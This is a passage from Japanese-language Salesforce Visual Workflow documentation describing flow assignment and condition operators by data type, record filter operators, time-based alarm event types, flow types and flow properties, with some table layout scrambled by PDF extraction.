複数選択リストリソースを新しい値に置き換えるか (次の文字列と一致する)、値を元の値に連結するか (加算)、
選択項目をリソースに追加します (項目を追加)。

メモ: 複数選択リストリソースに割り当てまたは追加される前に、値は文字列値に変換されます。

例サポートされ
るデータ型

説明演算子

割り当て前: {!varMSP} は Blue です。
割り当て: {!varMSP} [次の文字列と一致する]
Yellow

選択された複数選択リストの
値は、[値] で入力または選択
した値に置き換えられます。

次の文字
列と一致
する

• Boolean

• コレクショ
ン

割り当て後: {!varMSP} は Yellow です。• 通貨
• 日付
• 日付/時間
• 複数選択リ

スト
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例サポートされ
るデータ型

説明演算子

• 数値
• 選択リスト
• テキスト

割り当て前: {!varMSP}は Blue; Greenです。こ
の値には、2 つの異なる選択肢があります。
割り当て: {!varMSP} [加算] Yellow

複数選択リストで選択される
最後の項目に、[値] で入力ま
たは選択した値が追加されま
す。新しい選択肢は作成され
ません。
「項目を追加」演算子を使用
して、複数選択リストリソー

加算 • Boolean

• 通貨
• 日付

割り当て後: {!varMSP} は Blue; GreenYellow

です。この値には、2 つの異なる選択肢がありま
す。

• 日付/時間
• 複数選択リ

スト
• 数値スに簡単に項目を追加できま

す。 • 選択リスト
「加算」演算子で複数選択リ
スト変数にセミコロン区切り

• テキスト

の項目を追加するには、常に
セミコロンの後にスペースを
1 つ追加し、セミコロンの前
にスペースは挿入しません。
これにより、Salesforceデータ
ベースの複数選択リスト項目
の値と変数の値を比較できま
す。例: ; Yellow

割り当て前: {!varMSP} は Blue; Green です。
割り当て: {!varMSP} [項目を追加] Yellow.

複数選択リストの最後に、
[値] で入力または選択した値
が新規選択肢として追加され

項目を追
加

• Boolean

• 通貨
割り当て後: {!varMSP}は Blue; Green; Yellow

です。この値には、3 つの異なる選択肢がありま
す。

• 日付ます。割り当てによって新規
項目の前に「; 」が自動的に
追加されます。これにより、
Salesforceは新しい値を複数選

• 日付/時間
• 複数選択リ

スト
択リストで選択される個別の
項目として解釈します。

• 数値
• 選択リスト
• テキスト

sObject

sObject 変数を新しい値に置き換えます (次の文字列と一致する)。
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例サポートされ
るデータ型

説明演算子

割り当て前:同じオブジェ
クト種別の
sObject

[変数] の値は、[値] で選択し
た sObject に置き換えられま
す。

次の文字
列と一致
する

• {!account1} には、Acme Wireless 取引先の項目
値が含まれます。

• {!account2} には、Global Media 取引先の項目
値が含まれます。

割り当て: {!account1} [次の文字列と一致する]
{!account2}

割り当て後: {!account1} と {!account2} の両
方に Global Media 取引先の項目値が含まれます。

テキスト
テキストリソースを新しい値に置き換えるか (次の文字列と一致する)、値を元の値の最後に連結します (加算)。

メモ: テキストリソースに割り当てまたは追加される前に、値は文字列値に変換されます。

例サポートされ
るデータ型

説明演算子

割り当て前: {!varText} は Blue です。
割り当て: {!varText} [次の文字列と一致する]
Yellow

[変数] の値は、[値] で入力ま
たは選択したテキストに置き
換えられます。

次の文字
列と一致
する

• Boolean

• 通貨
• 日付

割り当て後: {!varText} は Yellow です。• 日付/時間
• 数値
• 複数選択リ

スト
• 選択リスト
• テキスト

割り当て前: {!varText} は Blue です。
割り当て: {!varText} [加算] Yellow

[変数] の最後に、[値] で入力
または選択したテキストが追
加されます。

加算 • Boolean

• 通貨
割り当て後: {!varText} は BlueYellow です。• 日付

• 日付/時間
• 数値
• 複数選択リ

スト
• 選択リスト
• テキスト
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フロー条件の演算子

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

選択したリソースの値を検証するには、条件の演算子を使用します。条件は、
決定要素と待機要素で使用されます。
サポートされる演算子については、[リソース] で選択するデータ型別に分類され
た次の参照を使用してください。
• Boolean

• Choice

• コレクション
• 通貨
• Date

• 日付/時間
• 複数選択リスト
• 数値
• 選択リスト
• sObject

• テキスト

Boolean

Boolean リソースの値が別の値またはリソースと一致するかを確認します。

サポートされる
データ型

次の場合は true演算子

Boolean[リソース] で選択された値が、[値] で入力または選択した値と一致しない。次の文字列
と一致しな
い

Boolean[リソース] で選択された値が、[値] で入力または選択した値と一致する。
フローインタビューがその結果を取得した場合、結果は true になります。
そのイベントのすべての待機条件が満たされる場合、待機イベントは true

になります。

次の文字列
と一致する

Boolean[リソース] の値が sObject 変数の項目であり、フローでその項目に少なくと
も 1 回値が入力されている。

設定済み

Boolean[リソース] で選択された値がフローの要素であり、フローインタビュー中に
アクセスされている。

アクセス済
み

選択肢
すべての選択肢リソースにはデータ型があり、そのデータ型の演算子ルールに従います。ただし、選択肢リ
ソースはデータ型に関わらず、他のリソースでサポートされない 1 つの追加演算子をサポートします。
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サポートされる
データ型

次の場合は true演算子

Booleanユーザが画面選択入力項目でその選択肢または動的レコード選択肢を選択
済みである。
複数の画面の同じ選択オプションをフローが参照している場合、「選択済
み」では常にフローがアクセスした最新の画面が評価されます。

選択済み

同じ画面の複数の場所にあるユーザ入力を持つ同一の選択オプションをフ
ローが参照している場合、この演算子では常に画面の最初の使用が評価さ
れます。

コレクション
コレクションリソースの値が別の値またはリソースを含むか、一致するかを確認します。

サポートされる
データ型

次の場合は true演算子

リソースにより異
なる
リソースが sObject

コレクション変数

[リソース] で選択されたコレクションの項目に、[値] と完全に一致する値が
含まれる。

次の文字列
を含む

の場合は、オブ
ジェクト種別が同
じ sObject リソース
のみがサポートさ
れます。
それ以外の場合
は、データ型が同
じリソースのみが
サポートされま
す。

コレクション
リソースが sObject

コレクション変数

[リソース] で選択されたコレクションが、[値] で選択されたコレクションと
一致しない。
2 つの sObject コレクション変数に異なる項目が含まれる場合、または項目
の値が異なる場合、その 2 つは一致しません。

次の文字列
と一致しな
い

の場合は、オブ
ジェクト種別が同
じ sObject コレク
ション変数のみが
サポートされま
す。
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サポートされる
データ型

次の場合は true演算子

それ以外の場合
は、データ型が同
じコレクション変
数のみがサポート
されます。

コレクション
リソースが sObject

コレクション変数

[リソース] で選択されたコレクションが、[値] で選択されたコレクションと
一致する。
2 つの sObject コレクション変数に同じ項目が含まれ、それらの項目の値が
同じ場合、その 2 つは一致します。

次の文字列
と一致する

の場合は、オブ
ジェクト種別が同
じ sObject コレク
ション変数のみが
サポートされま
す。
それ以外の場合
は、データ型が同
じコレクション変
数のみがサポート
されます。

Boolean[リソース] で選択されたコレクションに値が入力されていない。ヌル

通貨と数値
通貨または数値リソースの値が別の値またはリソースと一致するか、より大きいか、より小さいかを確認しま
す。

サポートされる
データ型

次の場合は true演算子

[リソース] の値が、[値] で入力または選択した値と一致しない。次の文字列
と一致しな
い

• 通貨
• 数値

[リソース] の値が、[値] で入力または選択した値と一致する。次の文字列
と一致する

• 通貨
• 数値

[リソース] の値が、[値] で入力または選択した値より大きい。＞ • 通貨
• 数値
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サポートされる
データ型

次の場合は true演算子

[リソース] の値が、[値] で入力または選択した値より大きいか等しい。＞＝ • 通貨
• 数値

[リソース] の値が、[値] で入力または選択した値より小さい。＜ • 通貨
• 数値

[リソース] の値が、[値] で入力または選択した値より小さいか等しい。＜＝ • 通貨
• 数値

Boolean[リソース] に値が入力されていない。ヌル
Boolean[リソース] の値が sObject 変数の項目であり、フローでその項目に少なくと

も 1 回値が入力されている。
設定済み

日付および日付/時間
日付または日付/時間リソースの値が別の値またはリソースと一致するか、より前か、より後かを確認します。

サポートされる
データ型

次の場合は true演算子

[リソース] の値が、[値] で入力または選択した値と一致しない。次の文字列
と一致しな
い

• 日付
• 日付/時間

[リソース] の値が、[値] で入力または選択した値と一致する。次の文字列
と一致する

• 日付
• 日付/時間

[リソース] の値が、[値] で入力または選択した値より後の日付または時間で
ある。

＞ • 日付
• 日付/時間

[リソース] の値が、[値] で入力または選択した値より後の日付または時間
か、同じ日付または時間である。

＞＝ • 日付
• 日付/時間

[リソース] の値が、[値] で入力または選択した値より前の日付または時間で
ある。

＜ • 日付
• 日付/時間

[リソース] の値が、[値] で入力または選択した値より前の日付または時間
か、同じ日付または時間である。

＜＝ • 日付
• 日付/時間
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サポートされる
データ型

次の場合は true演算子

Boolean[リソース] に値が入力されていない。ヌル
Boolean[リソース] の値が sObject 変数の項目であり、フローでその項目に少なくと

も 1 回値が入力されている。
設定済み

選択リスト
選択リストリソースの値が別の値またはリソースと一致するか、含むかを確認します。

メモ: これらの演算子はリソースの値をテキスト値として扱います。

サポートされる
データ型

次の場合は true演算子

[リソース] の値に、[値] で入力または選択した値が含まれる。
たとえば、{!varPicklist} の値が yellow-green の場合、条件
{!varPicklist} [次の文字列を含む] green は true と評価されます。

次の文字列
を含む

• Boolean

• 通貨
• 日付
• 日付/時間
• 複数選択リス

ト
• 数値
• 選択リスト
• テキスト

[リソース] の値が、[値] で入力または選択した値と一致しない。次の文字列
と一致しな
い

• Boolean

• 通貨
• 日付
• 日付/時間
• 複数選択リス

ト
• 数値
• 選択リスト
• テキスト

[リソース] の値が、[値] で入力または選択した値と一致する。次の文字列
と一致する

• Boolean

• 通貨
• 日付
• 日付/時間
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サポートされる
データ型

次の場合は true演算子

• 複数選択リス
ト

• 数値
• 選択リスト
• テキスト

Boolean[リソース] の値が sObject 変数の項目であり、フローでその項目に少なくと
も 1 回値が入力されている。

設定済み

複数選択リスト
複数選択リストリソースの値が別の値またはリソースと一致するか、含むかを確認します。

メモ: これらの演算子はリソースの値をテキスト値として扱います。リソースの値に複数の項目が含まれ
る場合、演算子はその値をセミコロンを含む 1 つの文字列として扱います。各選択肢を異なる値としては
扱いません。たとえば、演算子は red; blue; green を 3 つの異なる値ではなく 1 つの値として扱いま
す。

サポートされる
データ型

次の場合は true演算子

[リソース] の値に、[値] で入力または選択した値が含まれる。次の文字列
を含む

• Boolean

ヒント: 複数選択リストリソースにこの演算子を使用する場合、ユー
ザが入力できる値に注意してください。特定の値が含まれ、その値が

• 通貨
• 日付

別の値の一部としても含まれていることを確認するには、INCLUDES 関
数を使用するフローの数式リソースを作成します。
たとえば、組織に [色] 複数選択リストの値があるとします。考えられ
る値として「green」と「yellow-green」があります。「green」と

• 日付/時間
• 複数選択リス

ト
• 数値「yellow-green」の両方が有効な値である場合は、フロー条件で「次の
• 選択リスト文字列を含む」演算子を使用します。「green」のみが有効な値である

場合は、INCLUDES() 関数を使用して数式を作成します。 • テキスト

[リソース] の値が、[値] で入力または選択した値と一致しない。次の文字列
と一致しな
い

• Boolean

メモ: 順序を考慮する必要があります。確認する値の表示順序が不明
な場合は、フローの数式で INCLUDES() 関数を使用します。たとえば、

• 通貨
• 日付

「次の文字列と一致しない」演算子を使用して「red; blue; green」を
「blue; green; red」と比較すると、この条件は true になります。

• 日付/時間
• 複数選択リス

ト
• 数値
• 選択リスト
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サポートされる
データ型

次の場合は true演算子

• テキスト

[リソース] の値が、[値] で入力または選択した値と完全に一致する。次の文字列
と一致する

• Boolean

メモ: 順序を考慮する必要があります。確認する値の表示順序が不明
な場合は、フローの数式で INCLUDES() 関数を使用します。たとえば、

• 通貨
• 日付

「次の文字列と一致する」演算子を使用して「red; blue; green」を「blue;

green; red」と比較すると、この条件は false になります。
• 日付/時間
• 複数選択リス

ト
• 数値
• 選択リスト
• テキスト

Boolean[リソース] の値が sObject 変数の項目であり、フローでその項目に少なくと
も 1 回値が入力されている。

設定済み

sObject

sObject リソースの値が別の値またはリソースと一致するかを確認します。

サポートされる
データ型

次の場合は true演算子

同じオブジェクト
種別の sObject

[リソース] の値が、[値] で入力または選択した値と一致しない。次の文字列
と一致しな
い

同じオブジェクト
種別の sObject

[リソース] の値が、[値] で入力または選択した値と一致する。次の文字列
と一致する

Boolean[リソース] に値が入力されていない。ヌル

テキスト
テキストリソースの値が別の値またはリソースと一致するか、含むか、それで終わるか、それで始まるかを確
認します。

メモ: テキストリソースと比較される前に、値は文字列値に変換されます。

サポートされる
データ型

次の場合は true演算子

[リソース] の値に、[値] で入力または選択した値が含まれる。次の文字列
を含む

• Boolean

5812

Visual Workflowコードではなくてクリックによる Salesforce の拡張



サポートされる
データ型

次の場合は true演算子

• 通貨
• 日付
• 日付/時間
• 複数選択リス

ト
• 数値
• 選択リスト
• テキスト

[リソース] の値が、[値] で入力または選択した値と一致しない。次の文字列
と一致しな
い

• Boolean

• 通貨
• 日付
• 日付/時間
• 複数選択リス

ト
• 数値
• 選択リスト
• テキスト

[リソース] の値が、[値] で入力または選択した値と一致する。次の文字列
と一致する

• Boolean

• 通貨
• 日付
• 日付/時間
• 複数選択リス

ト
• 数値
• 選択リスト
• テキスト

[リソース] の値の末尾が、[値] で入力または選択した値と一致する。次の文字列
で終わる

• Boolean

• 通貨
• 日付
• 日付/時間
• 複数選択リス

ト
• 数値
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サポートされる
データ型

次の場合は true演算子

• 選択リスト
• テキスト

Boolean[リソース] に値が入力されていない。ヌル

[リソース] の値の先頭が、[値] で入力または選択した値と一致する。次の文字列
で始まる

• Boolean

• 通貨
• 日付
• 日付/時間
• 複数選択リス

ト
• 数値
• 選択リスト
• テキスト

Boolean[リソース] の値が sObject 変数の項目であり、フローでその項目に少なくと
も 1 回値が入力されている。

設定済み

フローレコード検索条件の演算子

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローレコード検索条件を使用して、フローが実行されるレコードの範囲を絞
り込みます。たとえば、レコード検索条件を使用して、Acme Wireless 取引先に関
連付けられた取引先責任者のみを更新します。レコードの更新要素を追加する
ときに、レコード検索条件を使用して親取引先が Acme Wireless の取引先責任者の
みに絞り込みます。
サポートされる演算子については、選択する項目のデータ型別に分類された次
の参照を使用してください。
• 住所項目
• 自動採番項目
• チェックボックス項目
• 通貨項目
• 日付項目
• 日付/時間項目
• メール項目
• 暗号化されたテキスト項目
• 外部参照関係項目
• Fax 項目
• 参照関係項目
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• 複数選択リスト項目
• 数値項目
• 親項目
• パーセント項目
• 電話項目
• 選択リスト項目
• テキスト項目
• ロングテキストエリア項目
• テキストエリア (リッチ) 項目
• URL 項目

チェックボックス項目
[項目] でチェックボックス項目を選択した場合、次の演算子を使用できます。

サポートされるデータ型選択項目の値が次の条件を満たす
レコードが絞り込まれる

演算子

Boolean[値] で入力または選択した値と一致
しない

次の文字列と一致しない

Boolean[値] で入力または選択した値と一致
する

次の文字列と一致する

Boolean値がまだ入力されていない ([値] に
[True] を選択した場合)

ヌル

ヒント: フローでは、null を false とは異なる値として扱います。チェックボックス項目が null のレ
コードに絞り込むと、返されるレコードはありません。

通貨、数値、パーセント項目
[項目] で通貨、数値、またはパーセント項目を選択した場合、次の演算子を使用できます。

サポートされるデータ型選択項目の値が次の条件を満たす
レコードが絞り込まれる

演算子

[値] で入力または選択した値と一致
しない

次の文字列と一致しない • 通貨
• 数値

[値] で入力または選択した値と一致
する

次の文字列と一致する • 通貨
• 数値
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サポートされるデータ型選択項目の値が次の条件を満たす
レコードが絞り込まれる

演算子

[値] で入力または選択した値より大
きい

＞ • 通貨
• 数値

[値] で入力または選択した値より大
きいか等しい

＞＝ • 通貨
• 数値

Boolean値がまだ入力されていない ([値] に
[True] を選択した場合)

ヌル

[値] で入力または選択した値より小
さい

＜ • 通貨
• 数値

[値] で入力または選択した値より小
さいか等しい

＜＝ • 通貨
• 数値

日付および日付/時間
[項目] で日付または日付/時間項目を選択した場合、次の演算子を使用できます。

サポートされるデータ型選択項目の値が次の条件を満たす
レコードが絞り込まれる

演算子

[リソース] の値が、[値] で入力また
は選択した値と一致しない。

次の文字列と一致しない • 日付
• 日付/時間

[リソース] の値が、[値] で入力また
は選択した値と一致する。

次の文字列と一致する • 日付
• 日付/時間

[リソース] の値が、[値] で入力また
は選択した値より後の日付または
時間である。

＞ • 日付
• 日付/時間

[リソース] の値が、[値] で入力また
は選択した値より後の日付または

＞＝ • 日付
• 日付/時間時間か、同じ日付または時間であ

る。
Boolean値がまだ入力されていない ([値] に

[True] を選択した場合)

ヌル
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サポートされるデータ型選択項目の値が次の条件を満たす
レコードが絞り込まれる

演算子

[リソース] の値が、[値] で入力また
は選択した値より前の日付または
時間である。

＜ • 日付
• 日付/時間

[リソース] の値が、[値] で入力また
は選択した値より前の日付または

＜＝ • 日付
• 日付/時間時間か、同じ日付または時間であ

る。

選択リストおよびテキスト項目
[項目] で選択リストまたはテキスト項目を選択した場合、次の演算子を使用できます。

サポートされるデータ型選択項目の値が次の条件を満たす
レコードが絞り込まれる

演算子

[値] で入力または選択した値を含む次の文字列を含む • Boolean

• 通貨
• 日付
• 日付/時間
• 複数選択リスト
• 数値
• 選択リスト
• テキスト

[値] で入力または選択した値と一致
しない

次の文字列と一致しない • Boolean

• 通貨
• 日付
• 日付/時間
• 複数選択リスト
• 数値
• 選択リスト
• テキスト

[値] で入力または選択した値と一致
する

次の文字列と一致する • Boolean

• 通貨
• 日付
• 日付/時間
• 複数選択リスト
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サポートされるデータ型選択項目の値が次の条件を満たす
レコードが絞り込まれる

演算子

• 数値
• 選択リスト
• テキスト

[値] で入力または選択した値で終わ
る

次の文字列で終わる • Boolean

• 通貨
• 日付
• 日付/時間
• 複数選択リスト
• 数値
• 選択リスト
• テキスト

Boolean値がまだ入力されていない ([値] に
[True] を選択した場合)

ヌル

[値] で入力または選択した値で始ま
る

次の文字列で始まる • Boolean

• 通貨
• 日付
• 日付/時間
• 複数選択リスト
• 数値
• 選択リスト
• テキスト

複数選択リスト項目
[項目] で複数選択リスト項目を選択した場合、次の演算子を使用できます。

ヒント: 複数選択リスト項目に基づくレコードの絞り込みにこれらの演算子を使用する場合は注意してく
ださい。2 つのリソースに複数選択リストの同じ項目が含まれている場合でも、次の条件が異なる場合は
不一致になります。
• セミコロンの前後のスペース。たとえば、1つ目のリソースの値が「red; green; blue」で 2 つ目のリソー

スの値が「red;green;blue」の場合。
• 項目の順序。たとえば、1 つ目のリソースの値が「red; green; blue」で 2 つ目のリソースの値が「red; blue;

green」の場合。
最良の結果を得るには、フローの数式で INCLUDES 関数を使用します。
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サポートされるデータ型選択項目の値が次の条件を満たす
レコードが絞り込まれる

演算子

[値] で入力または選択した値と一致
しない

次の文字列と一致しない • Boolean

• 通貨
• 日付
• 日付/時間
• 複数選択リスト
• 数値
• 選択リスト
• テキスト

[値] で入力または選択した値と一致
する

次の文字列と一致する • Boolean

• 通貨
• 日付
• 日付/時間
• 複数選択リスト
• 数値
• 選択リスト
• テキスト

[値] で入力または選択した値で終わ
る

次の文字列で終わる • Boolean

• 通貨
• 日付
• 日付/時間
• 複数選択リスト
• 数値
• 選択リスト
• テキスト

Boolean値がまだ入力されていない ([値] に
[True] を選択した場合)

ヌル

[値] で入力または選択した値で始ま
る

次の文字列で始まる • Boolean

• 通貨
• 日付
• 日付/時間
• 複数選択リスト
• 数値
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サポートされるデータ型選択項目の値が次の条件を満たす
レコードが絞り込まれる

演算子

• 選択リスト
• テキスト

フローのイベント種別

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローの待機要素のイベントの定義に使用する項目は、[イベントの種別] に基
づきます。使用可能なイベント種別はいずれもアラームで、基準時刻である日
付/時間値と、その時間からのオフセット (省略可能) で構成されます。
基準時刻とは、アラームの基準となる日付/時間値で、常に必須です。オフセッ
トがない場合は、アラームは基準時刻とおりの値に設定されます。基準時刻は、
選択したイベント種別に基づいて、1 つ以上の項目で構成できます。
オフセットとは、アラームが生じる時刻と基準時刻の差を示す時間数で、省略
可能です。オフセットは常に、[オフセット数] と [オフセット単位] の 2 つの項
目で構成されます。たとえば、基準時刻の 3 日後にアラームが発生するように
する場合は、数を 3、単位を日に設定します。

絶対時間のアラーム
絶対時間のアラームは、絶対日付/時間値を基に定義された時間を待機します。たとえば、待機要素でこの
イベント種別を使用して、フローインタビューが待機を開始した 1 日後に何かを行うことができます。
相対時間のアラーム
相対時間のアラームは、レコードの日付/時間項目を基に定義された時間を待機します。たとえば、このイ
ベント種別を使用して、契約が終了する 3 日前に何かを行うことができます。

関連トピック:

フローの待機要素

絶対時間のアラーム

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

絶対時間のアラームは、絶対日付/時間値を基に定義された時間を待機します。
たとえば、待機要素でこのイベント種別を使用して、フローインタビューが待
機を開始した 1 日後に何かを行うことができます。
フローで待機要素を設定するときに、次の操作を実行します。
• フローが何を待機するかの定義
• イベント発生後の情報のフロー変数への割り当て

イベントの条件
[イベントの種別] が [アラーム: 絶対時刻] に指定されたイベントの定義に次のパ
ラメータを使用できます。
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例説明パラメータ

{!$Flow.CurrentDate}日付/時間値。[オフセット数]および [オフセット単位]に値を
入力する場合に、この項目値がオフセットの基準になります。
日付/時間値を手動で入力することも、差し込み項目やフロー
のリソースを参照することもできます。

基準時刻

-3省略可能。[基準時刻]からオフセットする日数または時間数。
[オフセット単位]の値を設定する場合は必須です。この値は、

オフセット数

整数を手動で入力する必要があり、差し込み項目やフローリ
ソースを使用することはできません。
[基準時刻] より前に発生するアラームを設定する場合は、負
の数を使用します。[基準時刻] より後に発生するアラームを
設定する場合は、正の数を使用します。

日省略可能。[基準時刻]からオフセットする時間の単位。[オフ
セット数] の値を設定する場合は必須です。
手動で日または時間を入力します。差し込み項目やフローリ
ソースを使用することはできません。

オフセット単位

絶対時間のアラームを待機するフローの例については、「1 つのイベントを待機するサンプルフロー」を参照
してください。

イベント出力
イベントの出力をフロー変数に割り当てることで、フロー内でイベントの情報を参照できます。

例説明パラメータ

11/26/2014 10:12 AMイベントが発生してフローインタビューが再開された
実際の時間。

基準時刻
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例説明パラメータ

Deliveredフローインタビューが再開されたときのイベントの状
況。イベントの発生後、フローが再開されるようにす

イベントの送信状況

るため、Salesforce からイベントを待機中のフローにそ
のイベントが送信されます。有効な値は、次のとおり
です。
• 送信済み: イベントが正常に送信されました。
• 無効: 送信中にエラーが発生しましたが、フローは

正常に再開されました。

関連トピック:

フローのイベント種別

相対時間のアラーム

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

相対時間のアラームは、レコードの日付/時間項目を基に定義された時間を待機
します。たとえば、このイベント種別を使用して、契約が終了する 3 日前に何
かを行うことができます。
フローで待機要素を設定するときに、次の操作を実行します。
• フローが何を待機するかの定義
• イベント発生後の情報のフロー変数への割り当て

イベントの条件
[イベントの種別] が [アラーム: 相対時刻] に指定されたイベントの定義に次のパ
ラメータを使用できます。

例説明パラメータ

Contractアラームの基準となる項目のオブジェクトの API 名。
「相対時間のアラーム」 (ページ5824)を参照してくださ
い。
文字列を手動で入力する必要があります。差し込み項
目やフローリソースを使用することはできません。

オブジェクト種別

EndDate指定したオブジェクトの日付項目または日付/時間項目
の API 名。[オフセット数] および [オフセット単位] に

基準日付/時間項目

値を入力する場合に、この項目値がオフセットの基準
になります。
文字列を手動で入力します。
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例説明パラメータ

{!ContractId}アラームの基準となるレコードの ID。レコードのオブ
ジェクト種別が [オブジェクト種別]と一致する必要が
あります。
文字列、差し込み項目、またはフローリソースを入力
できます。

レコード ID

-3省略可能。[基準日付/時間項目]からオフセットする日
数または時間数。[オフセット単位] の値を設定する場
合は必須です。
この値は、整数を手動で入力する必要があり、差し込
み項目やフローリソースを使用することはできません。

オフセット数

[基準日付/時間項目]より前に発生するアラームを設定
する場合は、負の数を使用します。[基準日付/時間項
目] より後に発生するアラームを設定する場合は、正
の数を使用します。

日省略可能。[基準日付/時間項目]からオフセットする時
間の単位。[オフセット数] の値を設定する場合は必須
です。
手動で日または時間を入力します。差し込み項目やフ
ローリソースを使用することはできません。

オフセット単位

相対時間のアラームを待機するフローの例については、「最初のイベントのみを待機するサンプルフロー」ま
たは「多数のイベントを待機するサンプルフロー」を参照してください。

イベント出力
イベントの出力をフロー変数に割り当てることで、フロー内でイベントの情報を参照できます。

例説明パラメータ

11/26/2014 10:12 AMイベントが発生してフローインタビューが再開された
実際の時間。

基準時刻

Deliveredフローインタビューが再開されたときのイベントの状
況。イベントの発生後、フローが再開されるようにす

イベントの送信状況

るため、Salesforce からイベントを待機中のフローにそ
のイベントが送信されます。有効な値は、次のとおり
です。
• 送信済み: イベントが正常に送信されました。
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例説明パラメータ

• 無効: 送信中にエラーが発生しましたが、フローは
正常に再開されました。

サポートされるオブジェクト
相対時間のアラームは、任意のカスタムオブジェクトまたは次のいずれかの標準オブジェクトに作成できま
す。
• Account

• Asset

• Campaign

• CampaignMember

• Case

• CaseComment

• Certification

• CertificationDef

• CertificationSectionDef

• CertificationStep

• CertificationStepDef

• Contact

• Contract

• ContractLineItem

• DandBCompany

• DuplicateRecordItem

• DuplicateRecordSet

• EmailMessage

• Entitlement

• EntitlementContact

• EnvironmentHubMember

• EnvironmentHubMemberRel

• Event

• ExternalEventMapping

• FeedItem

• Goal

• GoalLink

• Idea

• IdentityProvEventLog

• Lead

• LiveAgentSession
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• LiveChatTranscript

• LiveChatTranscriptEvent

• LiveChatTranscriptSkill

• Macro

• MacroAction

• MacroInstruction

• Metric

• MobileDeviceCommand

• Opportunity

• OpportunityLineItem

• OpportunitySplit

• OpportunityTeamMember

• Order

• OrderItem

• Organization

• PersonAccount

• Product2

• ProfileSkill

• ProfileSkillEndorsement

• ProfileSkillUser

• Question

• QuickText

• Quote

• QuoteLineItem

• Reply

• SOSSession

• SOSSessionActivity

• ServiceContract

• SignupRequest

• Site

• SocialPersona

• SocialPost

• Solution

• SsoUserMapping

• StreamingChannel

• Task

• UsageEntitlementPeriod

• User

• UserLicense

• UserProvisioningRequest
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• WorkBadge

• WorkBadgeDefinition

• WorkCoaching

• WorkFeedback

• WorkFeedbackQuestion

• WorkFeedbackQuestionSet

• WorkFeedbackRequest

• WorkFeedbackTemplate

• WorkGoal

• WorkPerformanceCycle

• WorkReward

• WorkRewardFund

• WorkRewardFundType

• WorkThanks

• WorkUpgradeAction

• WorkUpgradeCustomer

• WorkUpgradeUser

• articleType_kav

関連トピック:

フローのイベント種別

フロー種別

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローまたはフローバージョンの種別によって、サポートされる要素とリソー
ス、およびフローの配布方法が決まります。

標準フロー種別
Cloud Flow Designer では次のフロー種別がサポートされています。

説明種別

1 つ以上の画面、ステップ、選択肢、または動的選択肢が含まれ
るため、ユーザ操作が必要です。
このフロー種別は、待機要素をサポートしていません。

フロー

フローは、カスタムボタン、カスタムリンク、ダイレクト URL、
Visualforceページ、Salesforce1アクションを使用して実装できます。

ユーザ操作は不要です。
このフロー種別は、画面、ステップ、選択肢、動的選択肢をサポー
トしていません。

自動起動
フロー
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説明種別

自動起動フローは、フローで可能なすべての方法、およびプロセスアクション、ワークフ
ローアクション (パイロット)、または Apex コードを使用して実装できます。

サードパーティサービスのユーザをプロビジョニングします。ユーザプロビジョニングフ
ローは、ユーザプロビジョニングウィザードの実行時に接続アプリケーションと関連付け

ユーザプロビ
ジョニングフ
ロー ることによってのみ実装できます。サードパーティサービスのユーザをプロビジョニング

します。たとえば、このフロー種別を使用して、Salesforce ユーザを Google Apps アカウント
とリンクする接続アプリケーション用に、ユーザプロビジョニング設定をカスタマイズし
ます。

その他のフロー種別
Cloud Flow Designerではすべてのフロー種別がサポートされているわけではありません。一部のフロー種別は、
Salesforce の他の部分で使用されます。これらのフローは Cloud Flow Designerでは作成または編集できないため、
フローのリストに表示されません。ただし、フロー管理ページの [一時停止中および待機中のインタビュー] リ
ストにはこのいずれかの種別のインタビューが表示される場合があります。
たとえば、(プロセスビルダーから) プロセスを実行した場合、フローインタビューが作成されます。[一時停止
中および待機中のインタビュー] リストで「ワークフロー」種別を検索することで、そのインタビューを監視
できます。

説明種別

プロセスビルダーで作成されたプロセスの実行中のインスタンス。ワークフロー

関連トピック:

フロープロパティ
フローおよびフローバージョン項目
接続アプリケーションのユーザプロビジョニング

フロープロパティ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

フローのプロパティは、その名前、説明、インタビュー表示ラベル、および種
別で構成されます。これらのプロパティが、フローやフローバージョンの詳細
ページに表示される項目値を決定します。フローのプロパティとそのフローバー
ジョンは別個のものです。

ヒント: 特定のフローバージョンのプロパティは、デフォルトでは自動的
に有効なバージョンのプロパティと一致します。つまり、3 つのバージョ
ンが存在していてバージョン 2 を有効にした場合、Salesforce によってバー
ジョン 1 とバージョン 3 のプロパティがバージョン 2 と一致するように更新
されます。ただし、無効なバージョンのプロパティを編集すると、有効な
バージョンと一致するようにプロパティが自動的に更新されなくなります。
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Cloud Flow Designer から、 をクリックしてフローまたはフローバージョンのプロパティを更新します。

説明プロパティ

フローまたはフローバージョンの名前。この名前は、フロー管理ページとフロー
の詳細ページに表示されます。また、ランタイムユーザインターフェースにも
表示されます。
無効なフローおよびフローバージョンの名前を編集できます。

名前

フローの一意の名前。この一意の名前は、URL または Visualforce ページ内など、
Salesforce の他の部分からこのフローを参照するために使用されます。一意の名前

一意の名前

には、アンダースコアと英数字を使用できます。最初は文字であること、空白
は使用しない、最後にアンダースコアを使用しない、2 つ続けてアンダースコア
を使用しないという制約があります。一意の名前はフローの詳細ページに表示
されます。
フローが保存された後は一意の名前を編集できません。

フローまたはフローバージョンの説明。この説明は、フロー管理ページとフロー
の詳細ページに表示されます。
無効なフローおよびフローバージョンの説明を編集できます。

説明

フローまたはフローバージョンの種別。この種別は、フロー管理ページとフロー
の詳細ページに表示されます。この種別によって、フローまたはフローバージョ

種別

ンでサポートされる要素とリソース、およびフローの実装方法が決まります。
詳細は、「フロー種別」 (ページ 5826)を参照してください。
